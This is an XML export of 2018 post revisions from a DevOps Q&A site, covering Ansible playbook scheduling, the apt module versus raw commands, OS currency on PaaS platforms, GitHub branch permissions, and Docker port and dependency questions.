  <row Id="18179" PostHistoryTypeId="5" PostId="5674" RevisionGUID="9bf44571-6135-4b35-9b74-9b7ee5e0e8b8" CreationDate="2018-12-11T14:37:21.963" UserDisplayName="user5176" Comment="added 10 characters in body" Text="This is not really a DevOps question but more of a System Automation question (which DevOps covers only a part of, [by popular opinion][1], so I hope it's okay).&#xD;&#xA;&#xD;&#xA;I feel like some **5 USD IaaS VPS** with Ansible could give me the peace of mind of technical stability for say 15 years on a `debian:stable` system, but the `debian:stable` release itself will get old and vulnerable with the years.&#xD;&#xA;&#xD;&#xA;Everything above the OS will generally not get old because by Ansible (given a correctly orchestrated playbook) will continuously update and upgrade it.&#xD;&#xA;&#xD;&#xA;Yet the fact that the OS will indeed get old can't get out of my mind. Transferring websites from one IaaS to another even once per 4 or 8 or 12 or 16 years is not something I want to do in principle. One could say, well, you can't eat the cake and keep it whole.&#xD;&#xA;&#xD;&#xA;I thought of using PaaS but PaaS solutions wouldn't necessarily bring me that peace of mind as well because my data might be &quot;thrown&quot; in some server environment with an old OS (could be old as 20 or 25 years) without me even knowing that and not all PaaS companies guarantee streamed OS release_upgrade.&#xD;&#xA;&#xD;&#xA;So, I desire some **full system automation** solution. Is there even such a thing which is usually stable and countable in earth in 2018? I ask this totally seriously, maybe I need to be less stressed about this, but maybe such technical solution (which isn't SaaS of course) exist and might suit my needs?&#xD;&#xA;&#xD;&#xA;I just want to build my websites (usually Drupal) on the most automated, most upgraded system (OS and above) possible, in the budget of 5-30 USDs.&#xD;&#xA;&#xD;&#xA;**Note:** I never provided hosting services and doesn't provide them now either - usually my websites are personal websites that only I myself manage.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="18181" PostHistoryTypeId="5" PostId="5658" RevisionGUID="2a23abec-a63c-4d38-83bd-8fcfc5eb5853" CreationDate="2018-12-11T14:42:36.913" UserDisplayName="user5176" Comment="deleted 8 characters in body" Text="Consider these YAML code pieces which are two different parts of some Ansible playbook [I found online][1]:&#xD;&#xA;&#xD;&#xA;    - name: update the apt package index i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;    - name: Ensure some basics&#xD;&#xA;      command: apt-get upgrade unattended-upgrades sshguard curl wget git zip unzip tree mc -y&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;What is the difference between  `apt: update_cache=yes` and `command: apt-get -y install aptitude`? In other words, why not both be done with an `apt` module?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18182" PostHistoryTypeId="2" PostId="5684" RevisionGUID="f7b0a24d-252d-48b1-a942-9b9d0c5d3f11" CreationDate="2018-12-11T15:10:39.280" UserId="228" Text="&gt; TL;DR: Ansible modules like `apt` can be mostly implemented with&#xD;&#xA;&gt; `command` module and plenty of error checking tasks.&#xD;&#xA;&#xD;&#xA;To answer this question it is best to look at the [code implementing the apt module][1] in ansible. What you can see is that most of the features of the module are implemented by constructing an appropriate `apt-get` command and executing it, then handling error conditions and presenting them in ansible data structures. Sometimes depending on options the command can be quite complex. In two exceptions for upgrade, in case it is *full-upgrade* or *safe-upgrade* it would use `aptitude` command instead of `apt-get`. &#xD;&#xA;&#xD;&#xA;Of course, the implementation of the module can change going forward, but you should be able to rely on it doing essentially the same thing. On the other hand, if `apt-get` changes in some way or returns new unhandled type of errors, you will need to change your ansible code in case you use `command` module directly. While if you use `apt` module, it is likely the maintainer of the module will implement the new error checking for you.&#xD;&#xA;&#xD;&#xA;So in general it is better to use `apt` to `command: apt-get` unless the module won't do something that you absolutely need to do and there is no other way around it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible-modules-core/blob/devel/packaging/os/apt.py" ContentLicense="CC BY-SA 4.0" />
  <row Id="18183" PostHistoryTypeId="2" PostId="5685" RevisionGUID="f89dedb2-4358-45ce-ac99-81111cfc3a1b" CreationDate="2018-12-11T15:36:19.850" UserId="10706" Text="I am testing a GitHub workflow, where specific people will have merge only access to a branch in repo. &#xA;I tried few stuff and I found that, I can restrict users to read and write to repo. But read access wont have merge permission, and write will have too much , like commuting directly to the branch. &#xA;&#xA;Is there any better way to do that. &#xA;&#xA;Thanks in advance. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18184" PostHistoryTypeId="1" PostId="5685" RevisionGUID="f89dedb2-4358-45ce-ac99-81111cfc3a1b" CreationDate="2018-12-11T15:36:19.850" UserId="10706" Text="GitHub merge acces" ContentLicense="CC BY-SA 4.0" />
  <row Id="18185" PostHistoryTypeId="3" PostId="5685" RevisionGUID="f89dedb2-4358-45ce-ac99-81111cfc3a1b" CreationDate="2018-12-11T15:36:19.850" UserId="10706" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18187" PostHistoryTypeId="5" PostId="5685" RevisionGUID="088f68d0-c81e-43fa-b908-f841582d7b65" CreationDate="2018-12-11T15:41:02.550" UserId="40" Comment="remove noise" Text="I am testing a GitHub workflow, where specific people will have merge only access to a branch in repo. &#xD;&#xA;I tried few stuff and I found that, I can restrict users to read and write to repo. But read access wont have merge permission, and write will have too much , like commuting directly to the branch. &#xD;&#xA;&#xD;&#xA;Is there any better way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18192" PostHistoryTypeId="5" PostId="5685" RevisionGUID="84b000db-8be2-4065-a334-1f773cea9fac" CreationDate="2018-12-11T16:51:29.617" UserId="10706" Comment="added 17 characters in body" Text="I am testing a GitHub workflow(not GitHub flow), where specific people will have merge only access to a branch in repo. &#xD;&#xA;I tried few stuff and I found that, I can restrict users to read and write to repo. But read access wont have merge permission, and write will have too much , like commuting directly to the branch. &#xD;&#xA;&#xD;&#xA;Is there any better way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18193" PostHistoryTypeId="2" PostId="5688" RevisionGUID="68ae2e77-cc98-48fb-9704-b304ecf5043d" CreationDate="2018-12-11T17:58:45.773" UserDisplayName="user5176" Text="Please consider this wonderful chart a moment; it shows the different hosting models common today:&#xD;&#xA;&#xD;&#xA;https://www.lucidchart.com/publicSegments/view/e2e8e920-e116-43f3-8a57-2d492bd4d83a/image.png&#xD;&#xA;&#xD;&#xA;From the chat I learn that CaaS, PaaS and FaaS are three hosting-models by which a user can't control the OS it gets (as the OS of its server environment - webserver, email server and whatever-else-server leaning on the internet).&#xD;&#xA;&#xD;&#xA;But I wonder how can a client for a CaaS/PaaS/FaaS service actually know if the operating system of their server environment is **really of the newest version in every possible manner**.&#xD;&#xA;&#xD;&#xA;I wonder what ways I have as a customer to ensure a CaaS/PaaS/FaaS company won't literally lie to me when they report &quot;Your Debian is latest&quot; (say Debian 9 or 10 (that should come out soon, or 11 or 12), or &quot;Your ArchLinux is latest&quot; and so on and so forth.&#xD;&#xA;&#xD;&#xA;**What tools should I have in my environment** (a CLI terminal wouldn't necessarily be enough here by itself) to actually really know if they report the truth and not plain lying to me regarding the OS version (minor, major, and release)?&#xD;&#xA;&#xD;&#xA;Because at least in CaaS and PaaS I can automate everything above the OS with Ansible but that still doesn't make me quite, I am still &quot;anxious&quot; if you will regarding my OS --- I want that her upgrades are also always fully automated, just as all above it (usually) is fully automated by Ansible." ContentLicense="CC BY-SA 4.0" />
  <row Id="18194" PostHistoryTypeId="1" PostId="5688" RevisionGUID="68ae2e77-cc98-48fb-9704-b304ecf5043d" CreationDate="2018-12-11T17:58:45.773" UserDisplayName="user5176" Text="How can CaaS, PaaS, and FaaS users know if the operating system of their server environment is of the newest release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18195" PostHistoryTypeId="3" PostId="5688" RevisionGUID="68ae2e77-cc98-48fb-9704-b304ecf5043d" CreationDate="2018-12-11T17:58:45.773" UserDisplayName="user5176" Text="&lt;linux&gt;&lt;terminology&gt;&lt;security&gt;&lt;shell-script&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18197" PostHistoryTypeId="5" PostId="5688" RevisionGUID="3e7fc1ea-87e5-4e25-b526-69f430ae6105" CreationDate="2018-12-11T18:07:43.300" UserId="47" Comment="inlined image(s)" Text="Please consider this wonderful chart a moment; it shows the different hosting models common today:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;From the chat I learn that CaaS, PaaS and FaaS are three hosting-models by which a user can't control the OS it gets (as the OS of its server environment - webserver, email server and whatever-else-server leaning on the internet).&#xD;&#xA;&#xD;&#xA;But I wonder how can a client for a CaaS/PaaS/FaaS service actually know if the operating system of their server environment is **really of the newest version in every possible manner**.&#xD;&#xA;&#xD;&#xA;I wonder what ways I have as a customer to ensure a CaaS/PaaS/FaaS company won't literally lie to me when they report &quot;Your Debian is latest&quot; (say Debian 9 or 10 (that should come out soon, or 11 or 12), or &quot;Your ArchLinux is latest&quot; and so on and so forth.&#xD;&#xA;&#xD;&#xA;**What tools should I have in my environment** (a CLI terminal wouldn't necessarily be enough here by itself) to actually really know if they report the truth and not plain lying to me regarding the OS version (minor, major, and release)?&#xD;&#xA;&#xD;&#xA;Because at least in CaaS and PaaS I can automate everything above the OS with Ansible but that still doesn't make me quite, I am still &quot;anxious&quot; if you will regarding my OS --- I want that her upgrades are also always fully automated, just as all above it (usually) is fully automated by Ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ehcV1.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18198" PostHistoryTypeId="2" PostId="5689" RevisionGUID="41819e38-2c87-4898-9e83-6120e826f01b" CreationDate="2018-12-11T18:12:13.200" UserId="11069" Text="I am wondering if Azure DevOps has the ability to do conditional flow as part of a release definition.&#xD;&#xA;&#xD;&#xA;My use case: I have a PowerShell script that deploys a SQL Server DACPAC to create or update a database. Sometimes this deployment will fail because a change was made that could potentially cause data loss. Instead of absolutely failing the deployment, I would like to trigger a manual intervention for a DBA to review the changes. If they resume, I would like to attempt the deployment again, but this time with a flag that will ignore potential data loss issues. Finally, if that second db deployment attempt is successful, I would like the flow to continue back to the rest of the deployment tasks.&#xD;&#xA;&#xD;&#xA;Here is a general flow diagram:&#xD;&#xA;&#xD;&#xA;[![Azure DevOps Manual Intervention flow diagram][1]][1]&#xD;&#xA;&#xD;&#xA;Other requirements:&#xD;&#xA;&#xD;&#xA; - If the db deployment fails, but the manual intervention resumes and succeeds, I want the entire deployment to be marked as succeeded.&#xD;&#xA; - I want the flow after resuming an intervention to merge back into existing tasks that would be run on db deployment success. Corollary: I do not want to maintain dual flows with identical tasks.&#xD;&#xA;&#xD;&#xA;I am using the Designer (Web UI) and not YAML for all my current builds/releases, but I am also interested if YAML has a solution for this.&#xD;&#xA;&#xD;&#xA;[Azure DevOps has a section for Conditions][2], but I did not find that particularly helpful. The number of conditions seems limited. [It also looks like variables can be set on jobs][3], but this appears to be only available with YAML.&#xD;&#xA;&#xD;&#xA;Is there a way to set up the conditionals at the end of phases/jobs or tasks to achieve this branching behavior?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mlXAx.png&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=vsts&amp;tabs=yaml&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=vsts&amp;tabs=yaml%2Cbatch#set-an-output-multi-job-variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="18199" PostHistoryTypeId="1" PostId="5689" RevisionGUID="41819e38-2c87-4898-9e83-6120e826f01b" CreationDate="2018-12-11T18:12:13.200" UserId="11069" Text="Azure DevOps Pipeline Conditional Flow with Manual Intervention" ContentLicense="CC BY-SA 4.0" />
  <row Id="18200" PostHistoryTypeId="3" PostId="5689" RevisionGUID="41819e38-2c87-4898-9e83-6120e826f01b" CreationDate="2018-12-11T18:12:13.200" UserId="11069" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18201" PostHistoryTypeId="5" PostId="5688" RevisionGUID="93176f03-1d3f-4279-a7b6-446a42b241fa" CreationDate="2018-12-11T18:15:28.420" UserDisplayName="user5176" Comment="added 7 characters in body" Text="Consider this wonderful chart a moment; it shows the different hosting models common today:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;From the chat I learn that CaaS, PaaS and FaaS are three hosting-models by which a user can't control the OS it gets (as the OS of its server environment - webserver, email server and whatever-else-server leaning on the internet).&#xD;&#xA;&#xD;&#xA;But I wonder how can a client for a CaaS/PaaS/FaaS service actually know if the operating system of their server environment is **really of the newest version in every possible manner**.&#xD;&#xA;&#xD;&#xA;I wonder what ways I have as a customer to ensure a CaaS/PaaS/FaaS company won't literally lie to me when they report &quot;Your Debian is latest&quot; (say Debian 9 or 10 (that should come out soon, or 11 or 12), or &quot;Your ArchLinux is latest&quot; and so on and so forth.&#xD;&#xA;&#xD;&#xA;**What tools should I have in my environment** (a CLI terminal wouldn't necessarily be enough here by itself) to actually really know if they report the truth and not plain lying to me regarding the OS version (minor, major, and release)?&#xD;&#xA;&#xD;&#xA;Because at least in CaaS and PaaS I can automate everything above the OS with Ansible but that still doesn't make me quite, I am still &quot;anxious&quot; if you will regarding my OS --- I want that her upgrades are also always fully automated, just as all above it (usually) is fully automated by Ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ehcV1.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18203" PostHistoryTypeId="2" PostId="5690" RevisionGUID="0ba4ebf5-71e9-48e2-8e51-8d4e4fe00313" CreationDate="2018-12-11T18:57:59.680" UserId="47" Text="Well, to begin with, one of the key concepts behind the CaaS/PaaS/FaaS services is the offloading of the OS maintenance burden :) So it shouldn't even matter what version (or even what OS! - it could even be a proprietary one) the provider runs under the hood as long as the CaaS/PaaS/FaaS service performs according to the respective SLAs.&#xD;&#xA;&#xD;&#xA;As for being at the latest release - I seriously doubt a large service provider will use the latest OS release for any offering with a production-level SLA. For the simple motive that by the time the quality of that release reaches a decent enough / production quality level (according to the provider's QA qualification criteria) it's no longer the latest one :) Yes, qualifying a 3rd party provided OS release in a (large) enterprise environment is no small matter, it can take months/years to complete. &#xD;&#xA;&#xD;&#xA;A more recent patch / service pack level is more likely (but I still have doubts about &quot;latest&quot;). It's the classic stability vs quality conflict. Look at any new OS and the list of serious bugs it gathers in the first few months after release. &#xD;&#xA;&#xD;&#xA;Another consideration: running the latest OS release *might* not even be as critical in a CaaS/PaaS/FaaS context as one might think in some cases, depending on the service being provided and its implementation. For example who cares about OS system calls vulnerabilities if the PaaS sandbox running on it doesn't allow the hosted applications to make system calls? Or listening ports vulnerabilities if the system isn't even directly exposed to the outside world?&#xD;&#xA;&#xD;&#xA;Side note: in some cases even the language support lag for the CaaS/PaaS/FaaS service could be significant, see, for example, https://stackoverflow.com/questions/53682272/why-is-google-app-engine-standard-using-php-5-5. IMHO it's conceivable that a similar reasoning could potentially explain OS lagging. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18205" PostHistoryTypeId="2" PostId="5691" RevisionGUID="0b7e9105-78ad-482d-8842-74cd32f0204c" CreationDate="2018-12-11T19:43:03.527" UserId="10985" Text="I want to know which port(s) are exposed when user run the image.&#xD;&#xA;&#xD;&#xA;    docker run -p 1000:1234 myimagename&#xD;&#xA;&#xD;&#xA;I want to get `1234` value in container since I will use it for some configurations(IIS bindings etc.) inside of container.&#xD;&#xA;&#xD;&#xA;Is there any env variable for this purpose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18206" PostHistoryTypeId="1" PostId="5691" RevisionGUID="0b7e9105-78ad-482d-8842-74cd32f0204c" CreationDate="2018-12-11T19:43:03.527" UserId="10985" Text="How to get exposed ports from inside of container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18207" PostHistoryTypeId="3" PostId="5691" RevisionGUID="0b7e9105-78ad-482d-8842-74cd32f0204c" CreationDate="2018-12-11T19:43:03.527" UserId="10985" Text="&lt;docker&gt;&lt;containers&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18211" PostHistoryTypeId="2" PostId="5692" RevisionGUID="f4466809-4c96-4e3e-bd3f-bf526a3191c5" CreationDate="2018-12-11T20:56:13.277" UserId="7764" Text="I'm going to assume that the question is about keeping the server secure once deployed.&#xD;&#xA;&#xD;&#xA;&gt; Should I run this Ansible playbook daily/wwekly with cron&#xD;&#xA;&#xD;&#xA;This can't hurt, but **it is not enough to keep the system secure.** It is not guaranteed that upgrading a piece of software will be enough to keep your system secure. For example, security updates to the kernel require a reboot, and some security updates may require configuration changes and/or service restarts. If you are responsible for such a server you should subscribe to the relevant security updates (usually a [mailing list or web feed][1]) and respond to fixes as they arrive.&#xD;&#xA;&#xD;&#xA;In more general terms there is no way to deploy a server exposed to the Internet and have it be secure for an indefinite period of time.&#xD;&#xA;&#xD;&#xA;  [1]: https://usn.ubuntu.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18212" PostHistoryTypeId="5" PostId="5688" RevisionGUID="c32dd2c1-734a-4793-9f79-f41b85d2c59b" CreationDate="2018-12-11T22:01:19.740" UserDisplayName="user5176" Comment="added 140 characters in body" Text="Please consider this chart a moment; it shows the different hosting models common today:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;From the chart I learn that CaaS, PaaS and FaaS are three hosting-models by which a user can't control the OS it gets (as the OS of its server environment - webserver, email server and whatever-else-server leaning on the internet).&#xD;&#xA;&#xD;&#xA;But I wonder how can a client for a CaaS/PaaS/FaaS service actually know if the operating system of their server environment is **really of the newest version in every possible manner**.&#xD;&#xA;&#xD;&#xA;I wonder what ways I have as a customer to ensure a CaaS/PaaS/FaaS company won't literally lie to me when they report &quot;Your Debian is latest&quot; (say Debian 9 or 10 (that should come out soon, or 11 or 12), or &quot;Your ArchLinux is latest&quot; and so on and so forth.&#xD;&#xA;&#xD;&#xA;In all three I can automate everything above the OS with Ansible but that still doesn't make me quiet in my mind; I'm still &quot;anxious&quot; regarding my OS; I desire all its upgrades to be fully automated as well.&#xD;&#xA;&#xD;&#xA;**What tools should I have in my environment** (a CLI terminal wouldn't necessarily be enough here by itself) to actually really know if they report the truth and not plain lying to me regarding the OS version (minor, major, and release)?&#xD;&#xA;&#xD;&#xA;Although a bit old (say 4-8 years) OS can be stable in relation to all up2date software above it, I would still prefer to be up2date in everything, if circumstances allow it (till now I had 5$-30$ IaaS VPSs on DigitalOcean).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ehcV1.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18213" PostHistoryTypeId="2" PostId="5693" RevisionGUID="1ce4da20-75cf-46e8-a6e4-9d976dbb8423" CreationDate="2018-12-11T22:14:08.703" UserId="10599" Text="It’s not clear exactly what level of trust you have towards contributors. You could update your question to explain a bit more about whether people are all on one team or might be strangers. &#xA;&#xA;One feature that is likely to help is “branch protection settings” on this [protected branches article][1]. You can state that only code reviewed PRs are allowed into a branch. See also [About Code Owners][2] where some users can be named as the code owners on a particular branch. Only they can accept changes to the branch. &#xA;&#xA;With those controls you can set it up so that anyone can contribute to a repository but the branch(es) where release are taken from are strongly controlled.&#xA;&#xA;You might consider not having people write directly to the repo if they are not trusted team members. It’s normal to have untrusted people fork the repo, add the main repo as “git remote add main $URL” and do their work on their own repo. They can “git remote pull main” to refresh from the main repo and “git push origin” to update their own fork. When they are done they can go to the web interface of their fork and creating a pull request. It will automatically be directed back to the main repo they forked. Then only writers to the main repo can merge the pull request. That is much cleaner if you really want to limit who can write to your main repo. &#xA;&#xA;You can also enable “squash and merge” of pull requests so that when the PR is accepted all the commits in the PR are squashed into a single commit on the branch they are merged into.&#xA;&#xA;GitHub access controls seem very permissive as “write whole repo” until you see that everyone can create forks and send PRs. When you do only have one team using a private repo then letting them push their own branches into the repo, then integrated onto a projected branch, gives good controls over what is released. &#xA;&#xA;  [1]: https://help.github.com/articles/about-protected-branches/&#xA;  [2]: https://help.github.com/articles/about-codeowners/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18214" PostHistoryTypeId="5" PostId="5662" RevisionGUID="de9ec856-6282-41b3-91df-12644885f616" CreationDate="2018-12-11T23:14:02.440" UserDisplayName="user5176" Comment="added 589 characters in body" Text="I ssh to a remote 5$ `debian:stable` IaaS machine with Putty. The machine has only `debian:stable` and Ansible installed on it and I run an Ansible playbook locally on it with my current working user (that has sudo rights); `playbook.yml`:&#xD;&#xA;&#xD;&#xA;I desire to do is establish a LAMP server environment on this machine.&#xD;&#xA;&#xD;&#xA;     - name: Establish a Debian-LAMP with some extras&#xD;&#xA;      hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      become: no&#xD;&#xA;      tasks:&#xD;&#xA;&#xD;&#xA;      - name: update the apt package index i.e. apt update&#xD;&#xA;        apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;      - name: Install ufw&#xD;&#xA;          apt: package=ufw state=present ## Install only if package-index is already present in the apt package-cache.&#xD;&#xA;&#xD;&#xA;      # etcetra&#xD;&#xA;&#xD;&#xA;$ `ansible-playbook playbook.yml`&#xD;&#xA;&#xD;&#xA;That single Ansible playbook is an orchestration and deployment of my entire server environment (Installation and setup of ufw, `unattended-upgrades`, SSHGuard, Apache, MySQL, PHP, `ssmtp` and further tools like `curl`, `wget`, `zip`, `unzip` `tree` and so forth).&#xD;&#xA;&#xD;&#xA;Given it is filled with `apt upgrade package1 package2 package3 and so forth...` I assume I should run this playbook (or at least parts of it) **each time anew**, if Ansible won't do it itself.&#xD;&#xA;&#xD;&#xA;Should I run this Ansible playbook daily/wwekly with cron or Ansible will recursively run it itself by some internal scheduling mechanism of its own?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18216" PostHistoryTypeId="5" PostId="5662" RevisionGUID="62ab437b-29e2-406e-95e7-69b7c3c3dd57" CreationDate="2018-12-12T01:17:05.887" UserDisplayName="user5176" Comment="added 250 characters in body" Text="I ssh into a remote 5$ `debian:stable` IaaS machine with Putty. The machine has only `debian:stable` and Ansible installed on it and I run an Ansible playbook locally on it with my current working user (that has sudo rights).&#xD;&#xA;&#xD;&#xA;I aim to establish a LAMP server environment on this machine.&#xD;&#xA;&#xD;&#xA;`playbook.yml`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     - name: Establish a Debian-LAMP with some extras&#xD;&#xA;      hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      become: no&#xD;&#xA;      tasks:&#xD;&#xA;&#xD;&#xA;      - name: update the apt package index i.e. apt update&#xD;&#xA;        apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;      - name: Install ufw&#xD;&#xA;          apt: package=ufw state=present ## Install only if package-index is already present in the apt package-cache.&#xD;&#xA;&#xD;&#xA;      # etcetra&#xD;&#xA;&#xD;&#xA;$ `ansible-playbook playbook.yml`&#xD;&#xA;&#xD;&#xA;That single Ansible playbook is an orchestration and deployment of my entire server environment (Installation and setup of ufw, `unattended-upgrades`, SSHGuard, Apache, MySQL, PHP, `ssmtp` and further tools like `curl`, `wget`, `zip`, `unzip` `tree` and so forth).&#xD;&#xA;&#xD;&#xA;When I will learn enough Ansible I hope to add directives that will also transduce all my virtual-host files of Apache from say Apache 2.4 to 3.4 to 4.4 to 5.4 ecetra so I won't have to manually change all virtual host files in case I need to.&#xD;&#xA;&#xD;&#xA;Given the playbook is filled with `apt upgrade package1 package2 package3 etcetera` I assume I should run this playbook (or at least parts of it) **each time anew**, if Ansible won't do it itself.&#xD;&#xA;&#xD;&#xA;Should I run this Ansible playbook daily/wwekly with cron or Ansible will recursively run it itself by some internal scheduling mechanism of its own?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18217" PostHistoryTypeId="5" PostId="5690" RevisionGUID="3dc883ac-a1d6-4d30-8ee0-7e594f343cd2" CreationDate="2018-12-12T03:10:47.140" UserId="47" Comment="added 200 characters in body" Text="Well, to begin with, one of the key concepts behind the CaaS/PaaS/FaaS services is the offloading of the OS maintenance burden :) So it shouldn't even matter what version (or even what OS! - it could even be a proprietary one) the provider runs under the hood as long as the CaaS/PaaS/FaaS service performs according to the respective SLAs.&#xD;&#xA;&#xD;&#xA;Which is, in a way, why at least some of these services are considered [serverless][1] - what does OS release means without &quot;the server&quot;?&#xD;&#xA;&#xD;&#xA;As for being at the latest release - I seriously doubt a large service provider will use the latest OS release for any offering with a production-level SLA. For the simple motive that by the time the quality of that release reaches a decent enough / production quality level (according to the provider's QA qualification criteria) it's no longer the latest one :) Yes, qualifying a 3rd party provided OS release in a (large) enterprise environment is no small matter, it can take months/years to complete. &#xD;&#xA;&#xD;&#xA;A more recent patch / service pack level is more likely (but I still have doubts about &quot;latest&quot;). It's the classic stability vs quality conflict. Look at any new OS and the list of serious bugs it gathers in the first few months after release. &#xD;&#xA;&#xD;&#xA;Another consideration: running the latest OS release *might* not even be as critical in a CaaS/PaaS/FaaS context as one might think in some cases, depending on the service being provided and its implementation. For example who cares about OS system calls vulnerabilities if the PaaS sandbox running on it doesn't allow the hosted applications to make system calls? Or listening ports vulnerabilities if the system isn't even directly exposed to the outside world?&#xD;&#xA;&#xD;&#xA;Side note: in some cases even the language support lag for the CaaS/PaaS/FaaS service could be significant, see, for example, https://stackoverflow.com/questions/53682272/why-is-google-app-engine-standard-using-php-5-5. IMHO it's conceivable that a similar reasoning could potentially explain OS lagging. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing" ContentLicense="CC BY-SA 4.0" />
  <row Id="18218" PostHistoryTypeId="2" PostId="5694" RevisionGUID="86227de5-e95f-45d9-92e3-5267d7d63249" CreationDate="2018-12-12T03:28:29.643" UserId="11309" Text="I would discourage you from using Ansible to run Ansible (though this can be done) as you will run the risk of breaking idempotent rule of Ansible.  Choose a singular starting point for running your playbooks either command line, cron or some other program.  With that said,&#xD;&#xA;I would use cron to run an Ansible playbook, however I would also setup your ansible.cfg file for logging and check the log periodically if there is breakage in your playbook.&#xD;&#xA;Ansible by default doesn't do logging so I would set this up in ansible.cfg, just in case.&#xD;&#xA;[defaults]&#xD;&#xA;log_path = ./ansible.log&#xD;&#xA;Also, make sure to check your email regularly to make sure your cron/Ansible job ran without any problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18219" PostHistoryTypeId="2" PostId="5695" RevisionGUID="03853954-8ed3-41c8-bd97-f718c085fefa" CreationDate="2018-12-12T04:56:57.760" UserId="10690" Text="Please refer the below link&#xD;&#xA;You can use docker inspect for the same [docker inspect][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/30342796/how-to-get-env-variable-when-doing-docker-inspect/30353018#30353018" ContentLicense="CC BY-SA 4.0" />
  <row Id="18220" PostHistoryTypeId="2" PostId="5696" RevisionGUID="ed7f4330-c18f-4211-934d-09f9e839c3c6" CreationDate="2018-12-12T06:56:52.613" UserId="10706" Text="If you want to get the values in the container,&#xD;&#xA;You have to have either netcat or telnet or some other tools, to check what are the ports open in your container, and then try to poke that ports from the container to host.&#xD;&#xA;&#xD;&#xA;`netstat -tnlp` will give you all open ports, only if you don't know what are the ports are supposed to have listened in the container&#xD;&#xA;`nc -zv (host ip) (port)` will tell you whether the port is published or not." ContentLicense="CC BY-SA 4.0" />
  <row Id="18221" PostHistoryTypeId="2" PostId="5697" RevisionGUID="5c0a504d-326e-4f3d-babd-28e1ed63360c" CreationDate="2018-12-12T07:47:14.350" UserId="7506" Text="I have a simple Dockerfile which looks like the following&#xD;&#xA;&#xD;&#xA;    FROM debian:stretch-slim as builder&#xD;&#xA;    COPY . my_project/&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y build-essential libpqxx-dev libtbb-dev&#xD;&#xA;&#xD;&#xA;Running this with `docker build -t test_proj .` I was dismayed to see that apt is trying to install a huge amount (583MB unpacked) of extra libs, including things like python and sqlite (which sound completely unnecessary for pqxx and tbb). I ran apt-rdepends over each and sure enough neither python nor sqlite were in there, so there are surely more 'spurious' libs being installed by apt&#xD;&#xA;&#xD;&#xA;Why is this happening and how can I avoid this? I plan to use a multistage  to ditch the build tools by the final image anyway, but this is slowing down builds so I'd like to fix it" ContentLicense="CC BY-SA 4.0" />
  <row Id="18222" PostHistoryTypeId="1" PostId="5697" RevisionGUID="5c0a504d-326e-4f3d-babd-28e1ed63360c" CreationDate="2018-12-12T07:47:14.350" UserId="7506" Text="Install minimal dependencies with apt" ContentLicense="CC BY-SA 4.0" />
  <row Id="18223" PostHistoryTypeId="3" PostId="5697" RevisionGUID="5c0a504d-326e-4f3d-babd-28e1ed63360c" CreationDate="2018-12-12T07:47:14.350" UserId="7506" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
